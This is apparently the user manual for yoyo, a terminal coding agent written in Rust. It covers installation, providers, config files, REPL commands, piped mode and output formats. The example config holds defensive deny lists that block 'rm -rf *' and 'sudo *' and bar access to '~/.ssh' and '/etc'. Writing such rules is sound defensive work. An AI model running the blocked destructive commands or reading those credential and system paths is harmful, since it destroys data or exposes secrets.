yoyo
yoyo is a coding agent that runs in your terminal. It can read and edit files, execute shell commands, search codebases, and manage git workflows — all through natural language.
yoyo is open-source, written in Rust, and built on yoagent. It started as ~200 lines and evolves itself one commit at a time.
What yoyo can do
- Read and edit files — view file contents, make surgical edits, or write new files
- Run shell commands — execute anything you'd type in a terminal
- Search codebases — grep across files with regex support
- Navigate projects — list directories, understand project structure
- Track context — monitor token usage, auto-compact when the context window fills up
- Persist sessions — save and resume conversations across sessions
- Estimate costs — see per-turn and session-total cost estimates
Quick example
export ANTHROPIC_API_KEY=sk-ant-...
cargo install yoyo-agent # or: cargo run from source
yoyo
Then just talk to it:
> read src/main.rs and find any unwrap() calls that could panic
> fix the bug in parse_config and run the tests
> explain what this codebase does
What makes yoyo different
yoyo is not a product — it's a process. It evolves itself in public. Every improvement is a git commit. Every session is journaled. You can read its source code, its journal, and its identity.
Current version: v0.1.4
Installation
Requirements
- Rust toolchain — install from rustup.rs
- An API key — from any supported provider (see Providers below)
Install from crates.io
cargo install yoyo-agent
This installs the binary as yoyo in your PATH.
Install from source
git clone https://github.com/yologdev/yoyo-evolve.git
cd yoyo-evolve
cargo build --release
The binary will be at target/release/yoyo.
Run directly with Cargo
If you just want to try it:
cd yoyo-evolve
ANTHROPIC_API_KEY=sk-ant-... cargo run
Providers
yoyo supports multiple AI providers out of the box. Use the --provider flag to select one:
| Provider | Flag | Default Model | Env Var |
|---|---|---|---|
| Anthropic (default) | --provider anthropic | claude-opus-5-5 | ANTHROPIC_API_KEY |
| OpenAI | --provider openai | gpt-6-sol | OPENAI_API_KEY |
| Google/Gemini | --provider google | gemini-3.8-flash | GEMINI_API_KEY or GOOGLE_API_KEY |
| OpenRouter | --provider openrouter | anthropic/claude-sonnet-4-20250514 | OPENROUTER_API_KEY |
| xAI | --provider xai | grok-3 | XAI_API_KEY |
| Groq | --provider groq | llama-3.3-70b-versatile | GROQ_API_KEY |
| DeepSeek | --provider deepseek | deepseek-chat | DEEPSEEK_API_KEY |
| Mistral | --provider mistral | mistral-large-latest | MISTRAL_API_KEY |
| Cerebras | --provider cerebras | llama-3.3-70b | CEREBRAS_API_KEY |
| Ollama | --provider ollama | llama3.2 | (none needed) |
| Custom | --provider custom | (none) | (none needed) |
Ollama and custom providers don't require an API key. yoyo will automatically connect to http://localhost:11434/v1 for Ollama or http://localhost:8080/v1 for custom providers. Override the endpoint with --base-url.
Examples:
# Anthropic (default)
ANTHROPIC_API_KEY=sk-ant-... yoyo
# OpenAI
OPENAI_API_KEY=sk-... yoyo --provider openai
# Google Gemini
GOOGLE_API_KEY=... yoyo --provider google
# Local Ollama (no API key needed)
yoyo --provider ollama --model llama3.2
# Custom OpenAI-compatible endpoint
yoyo --provider custom --base-url http://localhost:8080/v1 --model my-model
Set your API key
yoyo resolves your API key in this order:
--api-keyCLI flag (highest priority)- Provider-specific environment variable (e.g.,
OPENAI_API_KEYfor--provider openai) ANTHROPIC_API_KEYenvironment variable (fallback)API_KEYenvironment variable (generic fallback)api_keyin config file (see below)
Set one of them:
# Via environment variable (recommended)
export ANTHROPIC_API_KEY=sk-ant-api03-...
# Or pass directly
yoyo --api-key sk-ant-api03-...
If no key is found via any method (and the provider requires one), yoyo will exit with an error message explaining what to do.
Config file
yoyo supports a TOML-style config file so you don't have to pass flags every time. Config files are checked in this order (first found wins):
.yoyo.tomlin the current directory (project-level)~/.yoyo.toml(home directory shorthand)~/.config/yoyo/config.toml(XDG user-level)
Example .yoyo.toml:
# Model and provider
model = "claude-sonnet-4-20250514"
provider = "anthropic"
thinking = "medium"
# API key (env vars take priority over this)
api_key = "sk-ant-api03-..."
# Generation settings
max_tokens = 8192
max_turns = 50
temperature = 0.7
# An unparseable max_tokens / max_turns / temperature / context_window
# (e.g. "abc", -5) prints a warning on stderr and falls back to the default.
# Display settings
no_bell = false
hints = true # false = no contextual tips after REPL turns
quiet = false
no_color = false
# Run a command when a long prompt finishes (opt-in; empty/absent = disabled)
# notify_command = "notify-send 'yoyo' 'done'"
# Custom endpoint (for ollama, proxies, etc.)
# base_url = "http://localhost:11434/v1"
# Permission rules for bash commands
[permissions]
allow = ["git *", "cargo *", "echo *"]
deny = ["rm -rf *", "sudo *"]
# Directory restrictions for file tools
[directories]
allow = ["./src", "./tests"]
deny = ["~/.ssh", "/etc"]
CLI flags always override config file values. For example, --model gpt-4o overrides model = "claude-sonnet-4-20250514" from the config file.
For more details on model configuration, see Models. For thinking levels, see Thinking.
Quick Start
Once installed, start yoyo:
export ANTHROPIC_API_KEY=sk-ant-...
yoyo
Or pass the API key directly:
yoyo --api-key sk-ant-...
First time? If you run
yoyowithout an API key, an interactive setup wizard walks you through choosing a provider, entering your API key, picking a model, and optionally saving a.yoyo.tomlconfig file. After setup, you go straight into the REPL — no restart needed. You can also run the wizard anytime withyoyo setup. If you prefer to skip it, set your API key environment variable first or press Ctrl+C to cancel. Re-running setup over an existing config backs it up to.yoyo.toml.bakand preserves any settings the wizard doesn't manage (e.g.auto_watch).AWS Bedrock needs both halves of the credential. If you fill in only the Access Key ID or only the Secret Access Key, the wizard names the blank half and stops instead of accepting a half-formed credential — leave both blank to fall back to
AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEYfrom the environment. This checks only that both halves are present: it does not validate their format, and it does not verify them against AWS, so a typo in either half still surfaces later as an auth error.
You'll see a banner like this:
yoyo v0.1.4 — a coding agent growing up in public
Type /help for commands, /quit to exit
model: claude-opus-5-5
git: main
cwd: /home/user/project
Your first prompt
Type a natural language request:
main > explain what this project does
yoyo will read files, run commands, and respond. You'll see tool executions as they happen:
▶ read README.md ✓
▶ ls src/ ✓
▶ read src/main.rs ✓
This project is a...
Common tasks
Read and explain code:
> read src/main.rs and explain the main function
Make changes:
> add error handling to the parse_config function in src/config.rs
Run commands:
> run the tests and fix any failures
Search a codebase:
> find all TODO comments in this project
Screen reader / plain output
If you use a screen reader (or any environment where in-place terminal animations are unwelcome), start yoyo with:
yoyo --screen-reader
This disables the spinner and progress-timer animations (no carriage-return
redraws or cursor-movement escapes — tool activity is announced as plain,
linear lines) and turns off colors, same as --no-color.
Exiting
Type /quit, /exit, or press Ctrl+D.
Interactive Mode (REPL)
Interactive mode is the default when you run yoyo in a terminal. It gives you a read-eval-print loop where you can have a multi-turn conversation with the agent.
Starting
yoyo
# or
cargo run
The prompt
The prompt shows your current git branch (if you're in a git repo):
main 🐙 › _
If you're not in a git repo, you get a plain prompt:
🐙 › _
Line editing & history
yoyo uses rustyline for a full readline experience:
- Arrow keys: Navigate within the current line (← →) and through command history (↑ ↓)
- Inline hints: As you type a slash command, a dimmed suggestion appears after the cursor showing the completion and a short description — e.g. typing
/heshowslp — Show help for commands. Press Tab or → to accept. - Tab completion: Type
/and press Tab to see available slash commands with descriptions — each command is shown alongside a short summary of what it does. Partial matches work too —/he<Tab>suggests/helpand/health. After typing a command + space, argument-aware completions kick in:/model <Tab>— suggests known model names (Claude, GPT, Gemini, etc.)/provider <Tab>— suggests known provider names (anthropic, openai, google, etc.)/think <Tab>— suggests thinking levels (off, minimal, low, medium, high)/git <Tab>— suggests git subcommands (status, log, add, diff, branch, stash)/pr <Tab>— suggests PR subcommands (list, view, diff, comment, create, checkout)/save <Tab>and/load <Tab>— suggest.jsonsession files in the current directory- File paths also complete — type
src/ma<Tab>to getsrc/main.rs, orCargo<Tab>to getCargo.toml. Directories complete with a trailing/for easy continued navigation.
- History recall: Previous inputs are saved across sessions
- Keyboard shortcuts: Ctrl-A (start of line), Ctrl-E (end of line), Ctrl-K (kill to end), Ctrl-W (delete word back)
- History file: Stored at
$XDG_DATA_HOME/yoyo/history(defaults to~/.local/share/yoyo/history)
How it works
- You type a message
- yoyo sends it to the LLM along with conversation history
- The LLM may call tools (read files, run commands, etc.)
- Tool results are streamed back — you see each tool as it executes
- The final text response is printed
- Token usage and cost are shown after each turn
Auto-continue
If the model stops mid-work (e.g., it says "Next, I'll fix the tests..." but stops), yoyo automatically sends a follow-up prompt to continue. You'll see:
⚡ auto-continuing (1/3 — response appears incomplete)...
This happens up to 3 times per user turn. Auto-continue won't fire if:
- The model encountered an error
- The session budget is exhausted
- The response doesn't show clear signs of being incomplete
Turn-end marker
When a turn actually did work (it changed at least one file), yoyo prints one dim line to stderr saying why it believes it stopped. It's a stated belief, not ground truth — but a stated one can be argued with:
✓ done — nothing queued
⏸ stopped with no summary — type "continue" if this looks unfinished
⏸ auto-continue budget spent (3/3) — type "continue" to resume
- done — nothing pending, no error, and the turn closed with a real summary.
- stopped — the turn hit an error, still has queued follow-up work, or went
quiet right after tool activity without wrapping up. Send
continueif the work looks unfinished. - budget spent — auto-continue used all its attempts while work was still queued.
The marker is only informational — it never changes what yoyo does. It's
suppressed for plain conversational replies (no file changes), silent under
--quiet, and prints glyph-free wording under --screen-reader.
Seeing the raw stop state (--verbose)
The marker is a verdict, and a verdict you can't audit is worth less than the
signals behind it. Run with --verbose (or -v) and yoyo prints the raw inputs
its classifier consumed, immediately above the verdict:
turn state: queue=0 tools=yes error=no continues=0/5 final_text=412ch -> done
Facts only — no glyphs, no advice, plain ASCII (so it reads identically under
--screen-reader). Unlike the marker itself, this line prints on every turn
that ends, including turns the verdict stays silent about, so you can judge the
stop state yourself instead of trusting the classifier.
Acting on silence (--continue-on-silence)
The marker tells you a turn went quiet after doing work. This flag makes yoyo act on it:
yoyo --continue-on-silence
With the flag on, auto-continue also fires when all of these hold:
- the turn used tools (it did work),
- the final text is empty or near-empty (under 20 characters, trimmed),
- the follow-up queue is empty, and
- the turn ended without an error.
A turn that used no tools and returned nothing is not continued — that's a model declining to speak, not work left on the table.
Why it's off by default. yoyo can't distinguish "stopped mid-work" from
"finished quietly" — some providers legitimately end a tool-using turn with no
closing prose. Turning this on for everyone would make those providers loop.
The worst case is bounded, not infinite: the existing auto-continue budget (5
per prompt, max_auto_continues in config, a whole number from 0 to 20; a
value outside that, like "abc" or 500, prints a startup warning and falls
back to 5 or caps at 20) still applies, so a quiet-finishing
provider costs you up to 5 extra turns of wasted tokens per prompt — annoying,
not runaway. If your provider chats normally at the end of a turn, you'll never
notice the flag; if it goes silent mid-task, this is the knob.
With the flag off, behaviour is exactly what it was before the flag existed
(pinned by a default-off invariance test in src/repl.rs).
Shell passthrough
Prefix a line with ! to run a shell command directly — no API call, no tokens, no confirmation prompt:
🐙 › !git status
🐙 › !ls -la src/
Output streams live to your terminal (via sh -c on Unix, cmd /C on Windows), and the exit code is shown only when non-zero. A bare ! prints a usage hint.
!? — ask about the last command's output
! commands never enter the conversation, but sometimes you want yoyo to look at what just happened. Type !? to feed the last ! command — its command line, exit code, and output tail (last ~200 lines / 8KB, captured as a tee while it streamed) — into the conversation:
🐙 › !cargo test
... (output streams live) ...
exit 101
command failed (exit 101) — type !? to ask yoyo about the output
🐙 › !? why did the second test fail
- Bare
!?uses a default question: after a failure, "explain what went wrong and how to fix it"; after a success, "summarize this output". !? <question>asks your own question about the output.- Works after successful commands too (the failure hint just doesn't appear).
- If no
!command has run yet,!?prints a one-liner and does nothing. - The capture is non-consuming — you can ask
!?follow-ups about the same output more than once.
This is fully opt-in: nothing enters the conversation (and no tokens are spent) unless you type !?.
Tool output
When yoyo uses tools, you'll see status indicators:
▶ $ cargo test ✓ (2.1s)
▶ read src/main.rs ✓ (42ms)
▶ edit src/lib.rs ✓ (15ms)
▶ $ cargo test ✗ (1.8s)
✓means the tool succeeded✗means the tool returned an error- The duration shows how long the tool took
Token usage
After each response, you'll see a compact token summary:
↳ 3.2s · 1523→842 tokens · $0.0234
Use --verbose (or -v) for the full breakdown including session totals and cache info.
This shows:
- Wall-clock time for the response
- Input→output tokens for this turn
- Estimated cost for this turn
Contextual tips
After some turns yoyo prints one dim tip on stderr (for example, suggesting /watch or /compact). Turn these off with --no-hints or hints = false in .yoyo.toml. This does not affect the inline completion hints you see while typing a slash command.
Interrupting
Press Ctrl+C to cancel the current response. The agent will stop and you can type a new prompt. Press Ctrl+C again to exit.
Completion notifications
When a prompt takes more than a few seconds, yoyo rings the terminal bell so you notice the finish even if you switched windows (disable with no_bell = true or --no-bell).
For an actionable desktop alert, set the opt-in notify_command config key — a shell command yoyo runs (fire-and-forget) whenever a long prompt finishes, at the same threshold as the bell:
# .yoyo.toml — Linux
notify_command = "notify-send 'yoyo' 'done'"
# macOS
notify_command = "osascript -e 'display notification \"done\" with title \"yoyo\"'"
Or set it from inside the REPL:
/config set notify_command notify-send 'yoyo' 'done'
Details:
- Opt-in and inert by default — when the key is absent (or empty), nothing is spawned and no tools are probed.
- Runs via
sh -con Unix andcmd /Con Windows, fully detached: yoyo never waits on it and its output is discarded, so it can never block the REPL. - The command receives two environment variables so one script can serve multiple purposes:
YOYO_EVENT=prompt_completedandYOYO_ELAPSED_SECS=<seconds>. - If the command fails to spawn, yoyo stays silent by default (one-line warning with
--verbose). - Setting it to an empty string clears it:
/config set notify_command "".
Inline @file mentions
You can reference files directly in your prompts using @path syntax. The file content is automatically read and injected into the conversation — no need for a separate /add command.
> explain @src/main.rs
✓ added src/main.rs (250 lines)
(1 file inlined from @mentions)
> refactor @src/cli.rs:50-100
✓ added src/cli.rs (lines 50-100) (51 lines)
(1 file inlined from @mentions)
> compare @Cargo.toml and @README.md
✓ added Cargo.toml (35 lines)
✓ added README.md (120 lines)
(2 files inlined from @mentions)
How it works:
@path— injects the entire file@path:start-end— injects a specific line range- If the path doesn't exist, the
@mentionis left as-is (it might be a username) - Email-like patterns (
user@example.com) are not treated as file mentions - Images work too:
@screenshot.pnginlines the image into the conversation. Images over 20 MB are refused before reading (the same cap applies to/addand--image, and to the agent's ownread_file)
Single-Prompt Mode
Run a single prompt without entering the REPL. yoyo will process the prompt, print the response, and exit.
Usage
The simplest way is a bare positional prompt — just put your prompt in quotes:
yoyo "explain this codebase"
yoyo "find all TODO comments"
You can also use --prompt or -p explicitly:
yoyo --prompt "explain this codebase"
yoyo -p "find all TODO comments"
Both forms are equivalent. The bare prompt form is shorter and matches how most CLI tools work.
When to use it
Single-prompt mode is useful for:
- Quick questions — get an answer without starting a session
- Scripting — run yoyo as part of a larger workflow
- CI/CD pipelines — automate code review or analysis
Example
$ yoyo "count the lines of Rust code in this project"
▶ $ find . -name '*.rs' | xargs wc -l ✓ (0.1s)
There are 1,475 lines of Rust code across 1 file (src/main.rs).
Capturing the output in a script
Plain -p writes the response to stdout as the model streams it. Leading blank lines
(the model's own, plus yoyo's framing newline) are dropped, so stdout starts with the
first real line of the answer, with its indentation kept. Trailing blank lines are
dropped too: the answer ends with exactly one newline, so yoyo -p "Reply with exactly: PONG"
prints PONG\n (blank lines inside the answer are kept). Tool progress may also
appear on stdout, because -p is the interactive-looking path.
If you are capturing the answer ($(...), a pipe, a file), use --print: its stdout
carries only the answer text, with no spinners, tool output or color, and with leading
blank lines dropped. For structured output use --output-format json instead.
answer=$(yoyo --print -p "Reply with exactly: PONG")
yoyo -p "summarize this repo" --output-format json | jq -r .response
If the run is interrupted with Ctrl+C (SIGINT), yoyo exits with code 130, writes
(interrupted) to stderr, and leaves whatever text was already streamed on stdout
unchanged. A script can tell a cut-off answer from a complete one, which exits 0.
Slash commands are not expanded here
A prompt whose first non-space character is / is treated as a REPL command, not as
text. Single-prompt mode cannot dispatch REPL commands, so it refuses: the message goes
to stderr, the exit code is 2, and no API call is made — you are not charged
for a turn that could only have puzzled over the literal string. Piped mode
(echo "/risk" | yoyo) refuses the same inputs the same way and with the same exit code,
so a wrapper can rely on one contract across both doors.
The check only looks at the first character, so a prompt that merely begins with /
is refused even when you meant the text literally (yoyo -p "/tmp is full"). Rephrase it
— for example, drop the leading slash or start with a word — and it is sent through as an
ordinary prompt.
Combining with other flags
You can combine prompts with other flags:
yoyo "review this diff" --model claude-sonnet-4-20250514
yoyo "explain the architecture" --thinking high
yoyo -p "analyze the code" --system "You are a security auditor."
Piped Mode
When stdin is not a terminal (i.e., input is piped), yoyo reads all of stdin as a single prompt, processes it, and exits. This works like single-prompt mode but takes input from a pipe instead of a flag.
Usage
echo "explain this code" | yoyo
cat prompt.txt | yoyo
git diff | yoyo
When to use it
Piped mode is useful for:
- Passing file contents as part of the prompt
- Chaining with other commands in a pipeline
- Feeding structured input from scripts
Examples
Review a git diff:
git diff HEAD~1 | yoyo --system "Review this diff for bugs."
Analyze a file:
cat src/main.rs | yoyo --system "Find all potential panics in this Rust code."
Process command output:
cargo test 2>&1 | yoyo --system "Explain these test failures and suggest fixes."
Detection
yoyo detects piped mode automatically by checking if stdin is a terminal. If it is not, piped mode activates. If stdin is a terminal, interactive REPL mode starts instead.
If piped input is empty, yoyo exits with an error: No input on stdin.
Structured output (--output-format)
Piped and single-prompt modes accept --output-format <fmt>:
text(default) — just the response text.json— a single JSON object with the final result.
In json mode and with --print, the streamed answer text is not echoed to
stdout: the final payload is written there exactly once, so | jq parses it.
Under --print and --output-format json, progress output (tool ▶ lines, ✓/✗ results, diffs, turn boundaries) goes to stderr, and stdout carries only the answer.
When a turn dies mid-stream (the provider errors after text has started arriving, and every retry dies the same way), --print still writes the text the last attempt produced to stdout, and yoyo exits non-zero with the error on stderr. So stdout carries what was produced and the exit code carries that it failed — check the exit code before trusting the answer as complete. --output-format json is not covered by this guarantee: what its envelope carries on a mid-stream failure is not pinned by a test.
Without --print (plain -p, or piped stdin), text streams to stdout. When stdout is not a terminal, each assistant message is written once it has finished, not token by token: yoyo holds every attempt until it succeeds, so when the provider library retries a rate limit or a dropped connection mid-answer, the failed attempt's text never reaches the pipe and the retried answer is printed once, exit 0. Ctrl+C (SIGINT), SIGTERM (what timeout sends), SIGHUP (a dropped ssh session or closed terminal) and SIGQUIT (Ctrl+\ from the terminal) all write the text produced so far, then exit 130, 143, 129 and 131 respectively. While output is held this way, SIGQUIT does not dump core. A panic inside yoyo while text is held writes that text before the usual panic exit (101); a build with panic = "abort" does not. SIGKILL still ends the process at once, and the held text is lost. A terminal is unchanged (live tokens). If a turn's last attempt also fails after producing text, that text is written once and yoyo's own retry follows the rule below. A turn that dies after it has started printing is not retried: bytes already written to a pipe cannot be taken back, so a retry would print the partial answer a second time and the reader could not tell the copies apart. yoyo exits non-zero with the error on stderr, plus a line saying the retry was skipped. Rerun the command. A turn that dies before printing anything (the usual overloaded-at-start case) is still retried, and a terminal still retries as before.
Opt-in: retry_after_partial = true in .yoyo.toml (default false). With it on, yoyo's own retry loop retries such a turn anyway, so one transient error (e.g. Overloaded) after streamed text no longer kills the run. The cost: the partial text already in the pipe stays there, so stdout carries it, a blank-line separator, then the retried answer (PARTIAL… \n\n answer). If every attempt fails, yoyo still stops at the usual retry cap and exits non-zero, with one partial per attempt on stdout. Turn it on when you'd rather have a log with a duplicate fragment than lose the turn. It is off by default because a consumer parsing stdout can't tell the copies apart. --print and --output-format json aren't affected, since they hold stdout back and already retry safely. Retries performed inside the provider library (rate limits, and dropped connections mid-answer) don't need the opt-in when stdout is a pipe: their failed attempts are never printed. They are capped separately, so with the opt-in on and every attempt failing, the run can take several times as many requests before it gives up (measured: 24 requests, about 70s, with one partial per yoyo attempt on stdout, 6 in all).
When a reply is cut off at the output-token limit (the model hit max_tokens), the text it produced is written to stdout as usual and yoyo exits 0, but stderr gets one line: warning: reply stopped at the output limit (max_tokens = N); raise --max-tokens or max_tokens in .yoyo.toml. Exit 0 is deliberate, so a run that sets a low max_tokens on purpose doesn't fail every time; check stderr for that line if you need to know the answer is complete. The same line appears in the REPL. --output-format json/stream-json don't print it.
stream-json— newline-delimited JSON (NDJSON): one yoagentAgentEventper line, emitted in real time as the agent works.
The stream-json stream is the raw yoagent AgentEvent serialization —
internally tagged on a "type" field, camelCase keys, full fidelity (no
lossy translation). The first line is always {"type":"agentStart"} and the
last yoagent event is {"type":"agentEnd", ...} (see below for the one line
that can follow it). Tool activity appears as
toolExecutionStart / toolExecutionEnd, and assistant text arrives as
messageStart / messageUpdate / messageEnd. Turn boundaries are
turnStart / turnEnd.
echo "list the files" | yoyo --output-format stream-json
{"type":"agentStart"}
{"type":"turnStart", ...}
{"type":"messageStart", ...}
{"type":"toolExecutionStart","toolCallId":"...","toolName":"bash","args":{...}}
{"type":"toolExecutionEnd","toolCallId":"...", ...}
{"type":"messageEnd", ...}
{"type":"agentEnd", ...}
Continued runs: one sessionRestored line. When --continue or
--continue-strict actually restored a saved session, the line right after
the first agentStart reports how many messages were restored:
{"type":"agentStart"}
{"type":"sessionRestored","messages":4}
It appears once per process. It is absent when no session was restored:
with no --continue flag, or with a lenient --continue whose restore failed.
A failed restore never shows up as messages: 0. --continue-strict exits 1
in that case instead. A run without --continue streams exactly what it did
before this line existed.
Degraded runs: one externalServers line. If an MCP server or OpenAPI
spec you configured failed to connect this session, one extra line follows
the last yoagent event (so it comes after agentEnd, and the first line is
still agentStart):
{"type":"externalServers","mcp_connected":1,"mcp_failed":["npx some-server"],"openapi_connected":0,"openapi_failed":[]}
Its fields are exactly the external_servers object that --output-format json
puts in its envelope, plus "type": *_connected counts servers that did
connect, and *_failed lists the server command (MCP) or spec path/URL
(OpenAPI) of each one that did not. The line is absent when every
configured server connected, or when none are configured, so a healthy run's
stream is unchanged. The run itself is not marked as an error — a script that
cares must look for this line.
The exact set of fields on each event is defined by yoagent — see its messages & events reference for the authoritative contract.
Quiet mode
When both stdin and stdout are piped (fully scripted usage), yoyo automatically enables quiet mode, suppressing informational config: and context: loading messages on stderr. You can also enable this explicitly with --quiet or -q:
echo "fix the test" | yoyo -q > result.md # explicit quiet
echo "fix the test" | yoyo > result.md # auto-quiet (both pipes detected)
The YOYO_QUIET=1 environment variable also enables quiet mode.
Slash commands aren't dispatched in piped mode
Slash commands (/doctor, /status, /help, etc.) belong to the interactive REPL — they depend on REPL state that piped mode doesn't have. If you pipe a slash command into yoyo, it won't run it; it would only get sent to the model as a literal string and waste a turn of tokens.
Instead, yoyo detects this case, prints a one-line warning to stderr, and exits with status code 2. Use one of these alternatives:
yoyo doctor # run the subcommand directly
yoyo --prompt "/doctor" # send the literal text to the agent
yoyo # interactive REPL
Saving the session
Add --save-session <path> to write the run's session to <path> when it ends (even after a failed turn), in the format /save writes: echo "fix the test" | yoyo --save-session run.json. A missing parent directory or unwritable path exits non-zero with error: --save-session: could not write <path>: <reason>.
REPL Commands
All commands start with /. Type /help inside yoyo to see the full list.
Note: A few commands are also available as shell subcommands — run them directly without entering the REPL:
Subcommand Description yoyo help [command]Show help message (same as --help), or one command's helpyoyo versionShow version (same as --version)yoyo setupRun the interactive setup wizard (requires an interactive terminal: with stdin not a TTY it refuses with exit 2 and writes nothing) yoyo initGenerate a YOYO.md project context file yoyo doctorDiagnose yoyo setup (config file, API key, provider, tool availability) yoyo healthRun project health checks (build, test, clippy, fmt — auto-detects project type) yoyo lintRun project linter (e.g. yoyo lint --strict,yoyo lint unsafe)yoyo testRun project test suite yoyo treeShow project directory tree yoyo mapShow project symbol map yoyo runRun a shell command (e.g. yoyo run cargo clippy). A single quoted argument is run as a shell command line, likesh -c:yoyo run "echo a b"printsa b; to run one path with a space in it, quote it inside:yoyo run "'my script.sh'"yoyo diffShow git diff (e.g. yoyo diff --staged)yoyo commitCommit staged changes (e.g. yoyo commit "fix typo")yoyo reviewAI-powered code review (non-interactive, pipeable to files/CI) yoyo blameShow git blame (e.g. yoyo blame src/main.rs:1-20)yoyo grepSearch files for a pattern (e.g. yoyo grep TODO src/)yoyo findFind files by name (e.g. yoyo find main)yoyo index [path]Build and display project index (optionally only files under path)yoyo defFind where a symbol is defined (e.g. yoyo def handle_goal)yoyo astStructural code search via ast-grep (e.g. yoyo ast '$X.unwrap()' --in src/)yoyo updateCheck for and install the latest yoyo release yoyo docsLook up docs.rs documentation (e.g. yoyo docs serde)yoyo watchToggle watch mode (e.g. yoyo watch allfor two-phase lint→test,yoyo watch cargo test). Runs only after turns that change files — skipped when a prompt changes nothingyoyo statusShow version, git branch, and working directory yoyo undoUndo changes (e.g. yoyo undo --last-commit)
doctorhonors--providerand--modelif you want to point it at a non-default setup (e.g.yoyo doctor --provider openai). Inside the REPL, the same checks are available as/doctorand/health. Whendoctorfinds any Warn/Fail check, it prints a one-line count (e.g.→ 3 warnings. See each row above for details.); each row's own text carries its detail. It does not point at/fix, because/fixre-runs your project's build/lint/test commands and none of doctor's checks are those. A clean run stays quiet. Each row's advice is a command you can run where it is printed: with no context file,yoyo doctorsuggestsyoyo initand/doctorsuggests/init; with no.yoyo/directory, both suggestmkdir -p .yoyo(the fix/doctoroffers to run), and/doctoralso mentions/remember <note>, which creates it.
doctoralso reports a Skill context cost check: it sums theSKILL.mdbytes of the skills discovered under.yoyo/skills/,~/.yoyo/skills/and/skill install's destination, estimates their recurring context spend (roughly bytes ÷ 4 tokens), and warns if the total exceeds ~8k tokens so you can review which skills you actually need. It reports cost, not usage — with no skills loaded it's a neutral Pass.
Navigation
| Command | Description |
|---|---|
/quit, /exit | Exit yoyo |
/help | Show available commands |
/help <command> | Show detailed help for a specific command |
/cd <path> | Change the working directory (~ expansion and relative paths supported); /cd alone prints the current directory |
Note: /cd changes the directory used for subsequent commands and tool calls,
but project context (YOYO.md, CLAUDE.md, etc.) loaded at startup is not
reloaded — use /context to review what was loaded.
If the new directory has its own .yoyo.toml that sets [permissions],
[directories], hooks or MCP servers, /cd names them and says they are not
applied: the launch directory's settings stay in force until you restart yoyo there.
The exceptions are the parts that only narrow, which /cd does apply: the new
directory's deny lists and [directories] allow, and suspending the launch
project's own [permissions] allow patterns while you are outside its tree
(see Permissions → After /cd).
The launch project's own hooks pause the same way: a hook from the launch
directory's .yoyo.toml does not fire while you are outside its tree, and fires
again when you /cd back under it (hooks from your user-level config always fire;
/hooks marks paused ones as suspended).
Conversation
| Command | Description |
|---|---|
/clear | Clear conversation history and start fresh (the conversation is auto-stashed first — /rewind or /stash pop to restore it) |
/rewind | Restore the conversation auto-stashed by the last /clear (consuming: one rewind per clear) |
/compact | Compress conversation to save context space (see Context Management) |
/retry | Re-send your last input — useful when a response gets cut off or you want to try again |
/retry --with "..." | Re-run with additional instructions appended (iterative refinement) |
/history | Show a summary of all messages in the conversation |
/history detail | Per-turn breakdown with tools used and token counts |
/search <query> | Search conversation history for messages containing the query (case-insensitive) |
/mark <name> | Bookmark the current conversation state |
/jump <name> | Restore conversation to a bookmark (discards messages after it) |
/marks | List all saved bookmarks |
Conversation bookmarks
The /mark and /jump commands let you bookmark points in your conversation and return to them later. This is useful when exploring different approaches — bookmark a good state, try something, and jump back if it doesn't work out.
> /mark before-refactor
✓ bookmark 'before-refactor' saved (12 messages)
> ... try something risky ...
> /jump before-refactor
✓ jumped to bookmark 'before-refactor' (12 messages)
> /marks
Saved bookmarks:
• before-refactor
Bookmarks are stored in memory for the current session. Overwriting a bookmark with the same name updates it. Jumping to a bookmark restores the conversation to exactly that point — any messages added after the bookmark are discarded.
Model, Provider & Thinking
| Command | Description |
|---|---|
/model <name|list|info> | Switch, list, or inspect models |
/provider <name> | Switch provider and reset model to the provider's default |
/think [level] | Show or change thinking level: off, minimal, low, medium, high |
/teach [on|off] | Toggle teach mode — yoyo explains its reasoning as it works |
Examples:
/model claude-sonnet-4-20250514
/model list
/model list anthropic
/provider openai
/provider google
/think high
/think off
The /model command preserves conversation when switching models. Use /model list to browse all available models grouped by provider, or /model list <provider> to show models for a specific provider. The /provider command switches to a different API provider (e.g., anthropic, openai, google, openrouter, ollama, xai, groq, deepseek, mistral, cerebras, custom) and automatically sets the model to the provider's default. Use /provider without arguments to see the current provider and available options. The /think command adjusts the thinking level.
The /teach command toggles teach mode on or off. When teach mode is active, yoyo explains why it's making each change before showing code, uses clear and readable patterns, adds comments on non-obvious lines, and summarizes what you should learn after completing a task. Great for learning while the agent codes. This is a session-only toggle — it resets when you exit.
Session
| Command | Description |
|---|---|
/save [path] | Save conversation to a file (default: yoyo-session.json) |
/load [path] | Load conversation from a file (default: yoyo-session.json) |
See Session Persistence for details.
Information
| Command | Description |
|---|---|
/status | Show session dashboard: model, git branch, active modes, goal, watch command, file changes, tokens, and context usage |
/tokens | Show detailed token usage: context window fill level, per-category breakdown, session totals, and estimated cost |
/cost | Show estimated session cost |
/changelog [N] | Show recent git commit history (default: 15, max: 100) |
/config | Show all current settings |
/config show | Show loaded config file path and merged key-value pairs (secrets masked) |
/config edit | Open config file in $EDITOR |
/hooks | Show active hooks (pre/post tool execution) |
/permissions | Show active security and permission configuration |
/version | Show yoyo version |
The /tokens command shows a visual progress bar of your active context plus a per-category breakdown of what's consuming tokens:
Active context:
messages: 12
current: 45.2k / 200.0k tokens
Context breakdown:
system prompt ~1.0k tokens (2%)
user messages 8.1k tokens (18%)
assistant 12.3k tokens (27%)
tool calls 2.4k tokens (5%)
tool results 21.4k tokens (47%)
──────────────────────────────────────
total 45.2k tokens
The largest category is highlighted in bold. If tool results exceed 50% of context, yoyo suggests using /compact.
Documentation
| Command | Description |
|---|---|
/docs <crate> | Look up docs.rs documentation for a Rust crate |
/docs <crate> <item> | Look up a specific module/item within a crate |
The /docs command fetches the docs.rs page for a given crate and shows a quick summary — confirming the crate exists, displaying its description, and listing the crate's API items (modules, structs, traits, enums, functions, macros). No tokens used, no AI involved.
Each category is capped at 10 items with a "+N more" suffix for large crates.
Whether a crate or item exists is decided by docs.rs's HTTP status, not by its page text. A 404 prints a ✗ refusal naming the crate (or item) and the status, e.g. ✗ Crate 'foo' not found on docs.rs (HTTP 404). If docs.rs can't be reached (offline, 5xx, rate-limited), it says Could not reach docs.rs, which does not mean the crate is missing. From the shell, yoyo docs <crate> exits 0 when the crate (or item) was found and 1 otherwise, whether it is missing or docs.rs could not be reached (the message tells those apart). Bare yoyo docs, with no crate, prints its usage and exits 2.
/docs serde
✓ serde
📦 https://docs.rs/serde/latest/serde/
